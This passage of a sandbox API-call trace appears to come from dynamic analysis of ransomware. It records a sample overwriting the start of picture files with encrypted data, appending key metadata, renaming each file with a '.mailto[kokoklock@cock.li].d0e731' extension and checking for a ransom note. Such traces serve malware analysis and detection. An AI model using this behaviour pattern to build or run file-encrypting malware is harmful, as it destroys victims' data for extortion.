(HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426b20 [0070.509] wcscpy (in: _Dest=0x3426b20, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0070.509] wcscat (in: _Dest=0x3426b20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0070.509] wcscat (in: _Dest=0x3426b20, _Source="Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0070.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3426b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c [0070.510] FindNextFileW (in: hFindFile=0x3433ee8, lpFindFileData=0x3428df8 | out: lpFindFileData=0x3428df8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6206d3e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc6206d3e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0070.510] FindClose (in: hFindFile=0x3433ee8 | out: hFindFile=0x3433ee8) returned 1 [0070.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428df8) returned 1 [0070.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34310f8) returned 1 [0070.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34310a0) returned 1 [0070.510] RtlExitUserThread (Status=0x0) Thread: id = 389 os_tid = 0x8ac [0068.982] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ynr0x7.gif")) returned 0x20 [0068.982] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif", dwFileAttributes=0x20) returned 1 [0068.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ynr0x7.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x758 [0068.983] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x1103f8cc | out: lpFileSize=0x1103f8cc*=31109) returned 1 [0068.983] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x7981, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.983] ReadFile (in: hFile=0x758, lpBuffer=0x1103f8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1103f89c, lpOverlapped=0x0 | out: lpBuffer=0x1103f8a0*, lpNumberOfBytesRead=0x1103f89c*=0x4, lpOverlapped=0x0) returned 1 [0068.983] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e70 [0068.983] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423ee8 [0068.983] NtQuerySystemTime (in: CurrentTime=0x1103f878 | out: CurrentTime=0x1103f878*=132121176268691625) returned 0x0 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x453a0bac [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x68b07a78 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x480176c6 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xd122dbb9 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xde0b78a9 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x256a1df4 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xe08758b3 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x7b471e99 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xb71c264a [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xaf3e2d75 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xe1ddbf46 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xec8b9ebc [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x29ff7ace [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x9049844a [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x3108bd63 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xc0515355 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x418f877 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xe4a09a7b [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x2fb91376 [0068.983] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xd93f4d1c [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xa1d7e0a9 [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xc825fefe [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xabf70541 [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xcf0dfbde [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xc78ced14 [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x1499d36f [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x7201ad47 [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xdba96058 [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0xdb621512 [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x2f090101 [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x822b2ae5 [0068.984] RtlRandom (in: Seed=0x1103f884 | out: Seed=0x1103f884) returned 0x48d627f4 [0068.995] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.995] ReadFile (in: hFile=0x758, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1103f850, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1103f850*=0x4096, lpOverlapped=0x0) returned 1 [0068.995] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0068.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0068.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0068.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0068.996] WriteFile (in: hFile=0x758, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1103f850, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x1103f850*=0x4096, lpOverlapped=0x0) returned 1 [0068.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.996] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x7985, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.996] WriteFile (in: hFile=0x758, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1103f888, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0x1103f888*=0x20, lpOverlapped=0x0) returned 1 [0068.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.996] WriteFile (in: hFile=0x758, lpBuffer=0x3423d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1103f89c, lpOverlapped=0x0 | out: lpBuffer=0x3423d80*, lpNumberOfBytesWritten=0x1103f89c*=0x8, lpOverlapped=0x0) returned 1 [0068.996] WriteFile (in: hFile=0x758, lpBuffer=0x1103f8b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1103f89c, lpOverlapped=0x0 | out: lpBuffer=0x1103f8b4*, lpNumberOfBytesWritten=0x1103f89c*=0x4, lpOverlapped=0x0) returned 1 [0068.996] WriteFile (in: hFile=0x758, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1103f89c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1103f89c*=0x4, lpOverlapped=0x0) returned 1 [0068.997] WriteFile (in: hFile=0x758, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1103f89c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1103f89c*=0x6c, lpOverlapped=0x0) returned 1 [0068.997] WriteFile (in: hFile=0x758, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1103f89c, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0x1103f89c*=0x20, lpOverlapped=0x0) returned 1 [0068.997] WriteFile (in: hFile=0x758, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1103f89c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1103f89c*=0x4, lpOverlapped=0x0) returned 1 [0068.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423f10) returned 1 [0068.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0068.997] CloseHandle (hObject=0x758) returned 1 [0068.998] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3424900 [0068.998] wcscpy (in: _Dest=0x3424900, _Source="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif") returned="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif" [0068.998] wcscat (in: _Dest=0x3424900, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731" [0068.999] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ynr0x7.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ynr0x7.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.999] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424900) returned 1 [0069.000] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif", dwFileAttributes=0x20) returned 0 [0069.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3480420 [0069.000] wcscpy (in: _Dest=0x3480420, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0069.000] wcscat (in: _Dest=0x3480420, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0069.000] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0069.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480420) returned 1 [0069.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480f88) returned 1 [0069.000] RtlExitUserThread (Status=0x1) Thread: id = 390 os_tid = 0x9e0 [0069.001] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yoc6hbl41carp37u4y5.jpg")) returned 0x20 [0069.001] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg", dwFileAttributes=0x20) returned 1 [0069.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yoc6hbl41carp37u4y5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x758 [0069.002] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x110bfbc8 | out: lpFileSize=0x110bfbc8*=23838) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x5d1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.002] ReadFile (in: hFile=0x758, lpBuffer=0x110bfb9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x110bfb98, lpOverlapped=0x0 | out: lpBuffer=0x110bfb9c*, lpNumberOfBytesRead=0x110bfb98*=0x4, lpOverlapped=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0069.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0069.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a60 [0069.002] NtQuerySystemTime (in: CurrentTime=0x110bfb74 | out: CurrentTime=0x110bfb74*=132121176269004188) returned 0x0 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x57867345 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x3acf9289 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x615d0eef [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xf7873155 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x3aec6b46 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x3346df3b [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xa7530891 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x32cad02 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x6501b346 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xf856ad6e [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xc787e95d [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xe0babd32 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x5941c4d9 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xc45531a8 [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x66ac4b1e [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x9974836f [0069.002] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x3c094dc5 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xaa13c18f [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xa6bb325 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x680972a1 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x3f44b0d3 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xef2c6cc3 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xe93c4ba5 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x991220c1 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xb560fd95 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x8be148bb [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x1b726b91 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xad084ede [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xca67d1bb [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x64152eca [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0xba16dfd7 [0069.003] RtlRandom (in: Seed=0x110bfb80 | out: Seed=0x110bfb80) returned 0x1253984f [0069.014] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.014] ReadFile (in: hFile=0x758, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x110bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x110bfb4c*=0x4096, lpOverlapped=0x0) returned 1 [0069.014] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0069.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0069.014] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0069.014] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0069.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0069.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0069.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423f10 [0069.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423f10) returned 1 [0069.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0069.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0069.015] WriteFile (in: hFile=0x758, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x110bfb4c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0x110bfb4c*=0x4096, lpOverlapped=0x0) returned 1 [0069.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0069.016] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x5d1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.016] WriteFile (in: hFile=0x758, lpBuffer=0x3423d80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x110bfb84, lpOverlapped=0x0 | out: lpBuffer=0x3423d80*, lpNumberOfBytesWritten=0x110bfb84*=0x20, lpOverlapped=0x0) returned 1 [0069.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0069.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0069.016] WriteFile (in: hFile=0x758, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x110bfb98, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0x110bfb98*=0x8, lpOverlapped=0x0) returned 1 [0069.016] WriteFile (in: hFile=0x758, lpBuffer=0x110bfbb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x110bfb98, lpOverlapped=0x0 | out: lpBuffer=0x110bfbb0*, lpNumberOfBytesWritten=0x110bfb98*=0x4, lpOverlapped=0x0) returned 1 [0069.016] WriteFile (in: hFile=0x758, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x110bfb98, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x110bfb98*=0x4, lpOverlapped=0x0) returned 1 [0069.016] WriteFile (in: hFile=0x758, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x110bfb98, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x110bfb98*=0x6c, lpOverlapped=0x0) returned 1 [0069.016] WriteFile (in: hFile=0x758, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x110bfb98, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0x110bfb98*=0x20, lpOverlapped=0x0) returned 1 [0069.016] WriteFile (in: hFile=0x758, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x110bfb98, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x110bfb98*=0x4, lpOverlapped=0x0) returned 1 [0069.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0069.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0069.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0069.017] CloseHandle (hObject=0x758) returned 1 [0069.018] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ce9d8 [0069.018] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg" [0069.018] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731" [0069.018] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\yoc6hbl41carp37u4y5.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\yoc6hbl41carp37u4y5.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0069.019] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0069.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0069.019] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg", dwFileAttributes=0x20) returned 0 [0069.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x347fdc0 [0069.019] wcscpy (in: _Dest=0x347fdc0, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0069.019] wcscat (in: _Dest=0x347fdc0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0069.019] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0069.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdc0) returned 1 [0069.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dbd0) returned 1 [0069.019] RtlExitUserThread (Status=0x1) Thread: id = 391 os_tid = 0xd84 [0069.020] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zn5zpcbsixoy.gif")) returned 0x20 [0069.021] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif", dwFileAttributes=0x20) returned 1 [0069.021] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zn5zpcbsixoy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x758 [0069.021] GetFileSizeEx (in: hFile=0x758, lpFileSize=0x1113fc58 | out: lpFileSize=0x1113fc58*=84253) returned 1 [0069.021] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x14919, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.021] ReadFile (in: hFile=0x758, lpBuffer=0x1113fc2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1113fc28, lpOverlapped=0x0 | out: lpBuffer=0x1113fc2c*, lpNumberOfBytesRead=0x1113fc28*=0x4, 